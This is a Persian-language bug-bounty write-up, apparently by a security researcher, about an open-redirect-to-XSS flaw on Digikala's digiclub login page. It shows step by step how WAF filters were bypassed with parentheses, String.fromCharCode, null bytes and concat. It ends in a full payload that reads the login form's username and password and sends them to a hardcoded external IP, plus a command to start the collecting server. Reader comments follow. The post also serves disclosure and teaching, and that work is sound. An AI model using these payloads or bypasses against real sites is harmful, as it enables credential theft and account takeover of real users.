توی این مطلب قراره از Open Redirect که در شرایط خاصی ممکنه تبدیل به XSS بشه استفاده بکنیم و حمله Account Takeover رو یکی از ساب دامین های دیجی کالا بررسی کنیم و پیلودش رو با هم بنویسیم.
اول از همه باید بدونیم که اگه به این ادرس ? javascript:alert(“test”) ریدایرکت بشیم کد جاوا اسکریپت ران میشه و آلرت اتفاق میفته. برای مثال من گوگل رو باز میکنم و F12 رو میزنم بعدش از تب Console , کد زیر که در جاوا اسکریپت که برای ریدایرکت استفاده میشه رو وارد میکنم تا روند اجرا شدن کد رو با استفاده از ریدایرکت رو ببینید.
window.location.href = "javascript:alert('test')"
و نتیجه به این شکل میشه:
خوب حالا بعد از درک مکانیزم بالا میریم سراغ دیجی کالا ?.
داستان از اینجا شروع شد که برای چک کردن امتیاز دیجیکلابم وارد https://digiclub.digikala.com شدم و از سر بیکاری رفتم سورس صفحه رو چک کنم که خط سوم کد زیر نظرمو جلب کرد. با توجه به اون خط , تو فکرم این بود که حتما باید پارامتری مربوط به ریدایرکت باشه.
<script>
var supernova_mode = "production";
var supernova_tracker_url = "";
var redirectUrl = "";
</script>
پس شروع کردم به crawl و گشتن قسمتای مختلف سایت تا شاید چیزی پیدا کنم و موفق هم بود. پارامتری که منتظرش بودم _back بود که اینطوری میشد :
https://digiclub.digikala.com/?_back=
اگر URL هم جلوی این پارامتر قرار میدادم چون لاگین نکرده بودم ریدایرکت انجام نمیشد و صفحه به این شکل بود(برای ریدایرکت نیازه تا لاگین انجام بشه):
برای تست XSS , چون قرار بود بعد لاگین کردن ریدایرکت انجام شه (با استفاده از همون قضیه javascript: ….. ) با پیلود ساده alert رو روی پارامتر _back شروع کردم و با توجه به اینکه WAF جلوی پیلود رو میگرفت هر بخش از پیلود رو توی یه پرانتز گذاشتم و WAF بایپس شد و دامین آلرت شد:
https://digiclub.digikala.com/?_back=javascript:(alert)(document.domain)
چون این مشکل توی صفحه لاگین بود میتونستم یه کد کیلاگر ساده رو برای یوزرنیم و پسورد ها پیاده کنم.(با توجه به اینکه یوزرنیم و پسورد دیجی کلاب همون یوزرنیم و پسورد خود اکانت دیجی کالاست) ولی WAF وجود داشت و توی اجرای پیلود ها اذیت میکرد و یه راه حل بهتری به سرم زد. بنظرم بهتر بود به جای کیلاگر با استفاده از کد زیر اینکارو میکردیم:
https://digiclub.digikala.com/?_back=javascript:(alert)(document.getElementById("usernameForm").value)
https://digiclub.digikala.com/?_back=javascript:(alert)(document.getElementById("passwordForm").value)
کد های بالا مقدار یوزرنیم و پسورد رو بعد از کلیک روی دکمه لاگین آلرت میکنه
یوزنیم فورم و پسورد فورم , آیدی های اینپوت داخل سورس هستند
اجرای پیلود بالا و نتیجش ?:
ولی خوب به WAF خوردیم. چرا ؟؟ WAF به double quote ( ” ) حساسه (همچنین single quote ) و ما هم ازش توی پیلود بالا استفاده کردیم.
راهی که برای بایپس مشکل بالا به سرم زد استفاده از متد String.fromCharCode بود. با استفاده از این متد میتونیم با مقدار ASCII حروف و اعداد و … , string تولید کنیم یا به بیان ساده میتونیم از string استفاده کنیم بدون اینکه به دابل کوتیشن و … نیاز داشته باشیم.
روش کارشم به این شکله که از این آدرس برای تبدیل به ASCII Code استفاده میکنیم
و خروجیو میزاریم تو متد String.fromCharCode.
مثلا برای این پیلود (alert)(document.getElementById(“passwordForm”).value) به شکل زیر میشه:
https://digiclub.digikala.com/?_back=javascript:(alert)(document.getElementById(String.fromCharCode(112,97,115,115,119,111,114,100,70,111,114,109)).value)
اجرای پیلود بالا و نتیجش ?:
علی رغم استفاده نکردن از دابل کوتیشن باز به WAF خوردیم. حدس من به String.fromCharCode بود و درست هم بود. برای بایپس این موارد میشه از روش null byte استفاده کرد. به این صورت که %00 رو به این شکل درونش قرار میدیم
?String.%00fromCharCode
https://digiclub.digikala.com/?_back=javascript:(alert)(document.getElementById(String.%00fromCharCode(112,97,115,115,119,111,114,100,70,111,114,109)).value)
و در نهایت این بخش هم بایپس شد و کاربر بعد از وارد کردن یوزر و پسورد و لاگین , پسوردش آلرت میشد.
حالا برای اینکه این یوزرنیم پسورد به رو بتونم به سرور خودم بفرستم مراحل زیرو واسه نوشتن پیلودش طی کردم :
- آدرس سرورم رو با توجه به اینکه کوتیشن فیلتر بود با روش بالا , توی متغیر J ریختم(دلیل اینکه هر کدوم رو توی متغیر میریزم و مستقیم اطلاعات رو به سمت سرور نمیدم در ادامه مشخص میشه)
var j=String.%00fromCharCode(104,116,116,112,58,47,47,49,57,56,46,49,52,51,46,49,55,56,46,49,50,54,47,105,110,100,101,120,46,104,116,109,108,63);
//Server Address= http://198.143.178.126/index.html?
2. در مرحله بعد باید مقدار input یوزرنیم و پسورد رو با استفاده ازdocument.getElementById میگرفتم و به آخر متغیر J اضافه میکردم.
j = j + document.getElementById(String.%00fromCharCode(112,97,115,115,119,111,114,100,70,111,114,109)).value
ولی باز به فیلتر WAF برخوردم. بعد یکم بازی با WAF فهمیدم که ” + ” هم فیلتره و نمیشه ازش برای اضافه کردن دو تا string بهم استفاده کرد.
برای حل این مشکل از متد string.concat استفاده کردم. مثلا اگر میخوام به مغتیر J مقدار پسورد کاربر رو اضافه کنم و خروجی نهایی هم توی مغیر جدید X بریزم , باید مثل کد زیر عمل کنم:
var x=j.concat(document.getElementById(String.%00fromCharCode(112,97,115,115,119,111,114,100,70,111,114,109)).value)
//passwordForm
3. و همینطور توی متغیر X که تا الان آدرس سرور و پسورد کاربر بوده هم میام یوزرنیم رو اضافه میکنم و خروجی نهایی رو میریزم توی متغیر C.
var c=x.concat(document.getElementById(String.%00fromCharCode(117,115,101,114,110,97,109,101,70,111,114,109)).value)
//usernameForm
پس متغیر C به این شکل شد : address server + username + password
4.حالا که ساختار رو آماده کردیم میتونیم با document.location به متغیر C ریدایرکت کنیم و اطلاعات رو دریافت کنیم و از اونجایی که این WAF احتمالا با این ساختار xxx.yyy مشکل داره پس دوباره مجبور به استفاده از null byte برای بایپس هستیم:
document.%00location= c
همه بخش های پیلود تکمیل شد و در نهایت میزاریمشون کنار هم و پیلود نهایی رو داریم :
https://digiclub.digikala.com/?_back=javascript:var%20j=String.%00fromCharCode(104,116,116,112,58,47,47,49,57,56,46,49,52,51,46,49,55,56,46,49,50,54,47,105,110,100,101,120,46,104,116,109,108,63);var%20x=j.concat(document.getElementById(String.%00fromCharCode(112,97,115,115,119,111,114,100,70,111,114,109)).value);var%20c=x.concat(document.getElementById(String.%00fromCharCode(117,115,101,114,110,97,109,101,70,111,114,109)).value);document.%00location=%20c
=========== =========== =========== =========== =========== =========== ===========
اولش میخواستم از این متد $.getScript استفاده کنم تا اینقدر پیلود طولانی نشه ولی WAF بایپس نشد تو این مورد 🙁
=========== =========== =========== =========== =========== =========== ===========
حالا وب سرورمو با این کامند ران میکنم:
python -m SimpleHTTPServer 80
و در نهایت وقتی لینک و پیلود رو به کاربر بدیم و در صورتی که لاگین انجام بشه یوزرنیم و پسورد برامون ارسال میشه
اینم ویدیو POC:
همینطور که توی ویدیو دیدین بعد از کلیک روی ورود , پیلود اجرا میشه و دلیلش هم اینه که مقداری که به پارامتر _back داده میشد یه تعدادیش مستقیم میرفت توی تگ های href و این شامل همون دکمه ورودم میشد و همین باعث میشد که پیلود اجرا بشه.
همچنین باید بگم که این آسیبپذیری رو حدود دو ماه پیش به دیجی کالا گزارش دادم و توجه ای نکردن (نه پچ کردن نه بانتی دادن??) تا این هفته که کلا این بخشو از دسترس خارج کردن و انتقالش دادن به دامین اصلی. اگه ایرادی هم وجود داشت خوشحال میشم کامنت کنید?.
خیلی عالی بود
ایول خیلی عالی بود!
احسنت لذت بردم ♥
حدود ۱ ماه پیش ۳ تا باگ رو به دیجیکالا گزارش دادم نه بانتی دادن نه پچ کردن نه جوابی دادن :/